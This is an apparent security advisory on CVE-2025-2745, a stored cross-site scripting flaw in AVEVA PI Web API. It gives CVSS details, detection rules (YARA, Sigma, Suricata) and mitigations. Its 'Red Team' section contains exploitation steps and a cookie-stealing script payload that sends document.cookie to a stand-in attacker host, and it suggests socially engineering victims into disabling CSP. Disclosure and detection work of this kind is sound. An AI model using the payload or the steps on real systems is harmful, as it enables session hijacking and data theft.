CVE-2025-2745

Executive Summary

CVE-2025-2745 is a stored cross-site scripting (XSS) vulnerability in AVEVA PI Web API versions 2023 SP1 and prior. An authenticated attacker with privileges to create or update annotations or upload media files can inject persistent JavaScript code. This code executes when a victim user, who has been socially engineered to disable Content Security Policy (CSP) protections, renders the malicious annotation attachment in a web browser. The CVSS score is 6.5 (Medium), with a low EPSS probability of 0.0%. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary AVEVA product. Supply chain risk is limited to the AVEVA software distribution channel.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Attacker needs annotation/media upload privileges.
• User Interaction (UI): Required (R) – Victim must disable CSP and view the attachment.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access and social engineering, but the stored XSS can lead to session hijacking, data theft, or further attacks within the user's browser context.

Deep Dive & Mechanics

The vulnerability resides in the annotation and media file handling functionality of AVEVA PI Web API. When an authenticated user creates or updates an annotation, or uploads a media file, the application does not properly sanitize user-supplied input. An attacker can inject arbitrary JavaScript code into the annotation content or media file metadata.

The injected script is stored on the server and later served to other users when they view the annotation attachment. However, the attack only succeeds if the victim user has disabled Content Security Policy (CSP) protections in their browser. CSP is a security layer that helps prevent XSS by restricting which scripts can execute. By socially engineering the victim to disable CSP (e.g., via a browser extension or developer tools), the attacker bypasses this defense.

Once executed, the JavaScript runs in the context of the PI Web API web interface, allowing the attacker to perform actions such as:

• Stealing session cookies.
• Exfiltrating sensitive data displayed on the page.
• Performing actions on behalf of the victim.
• Redirecting the victim to malicious sites.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. The vulnerable code likely lacks proper output encoding or input validation for annotation content and media file metadata. A patched version would sanitize or escape HTML/JavaScript in these fields, and enforce CSP headers to prevent script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an AVEVA PI Web API instance (version 2023 SP1 or prior).
• Valid credentials with privileges to create/update annotations or upload media files.
• A victim user who can be socially engineered to disable CSP.

Exploitation Steps:

1. Authenticate to the PI Web API.
2. Create or update an annotation with a malicious payload. For example, in the annotation content field, inject:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload to steal cookies:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Upload a media file with malicious metadata (e.g., filename or description) containing similar JavaScript.
4. Socially engineer the victim to disable CSP in their browser (e.g., via a browser extension or by opening developer tools and disabling CSP).
5. Victim views the annotation attachment – the script executes.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual annotation creation or media uploads, especially from privileged accounts.
• Look for suspicious strings in annotation content or media metadata (e.g., <script>, onerror, javascript:).
• Alert on any user disabling CSP in browser logs (if available).

Prevention:

• Enforce strict CSP headers on the PI Web API web interface.
• Implement input validation and output encoding for all user-supplied data.
• Restrict annotation and media upload privileges to trusted users only.
• Educate users about the risks of disabling CSP.

Indicators of Compromise (IOCs)

• Network: HTTP requests to PI Web API endpoints containing <script> tags or JavaScript event handlers in annotation or media upload parameters.
• File: Annotation content or media file metadata containing JavaScript code.
• Behavior: Users disabling CSP in their browser settings (if logged).
• Logs: PI Web API logs showing creation of annotations with unusual content.

Detection Engineering

YARA Rule

rule CVE_2025_2745_XSS_Annotation {
    meta:
        description = "Detects potential XSS payloads in AVEVA PI Web API annotations"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2745"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: AVEVA PI Web API Annotation XSS Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects potential XSS payloads in annotation creation or media upload requests to AVEVA PI Web API
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: aveva
    service: piwebapi
detection:
    selection:
        http.method: (POST|PUT|PATCH)
        http.url: contains('/annotations') or contains('/media')
        http.body: contains('<script') or contains('onerror') or contains('javascript:')
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in annotations (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2745 AVEVA PI Web API XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/annotations"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable annotation and media upload functionality for non-essential users.
2. Enforce strict CSP headers on the PI Web API web interface to block inline scripts.
3. Monitor logs for suspicious annotation creation or media uploads.

Long-term Fix:

• Apply the official patch from AVEVA when released.
• Implement input validation and output encoding for all user-supplied data.
• Conduct a security review of the annotation and media handling code.

Workarounds:

• Use a web application firewall (WAF) to block XSS payloads.
• Educate users to never disable CSP protections.

Valters IT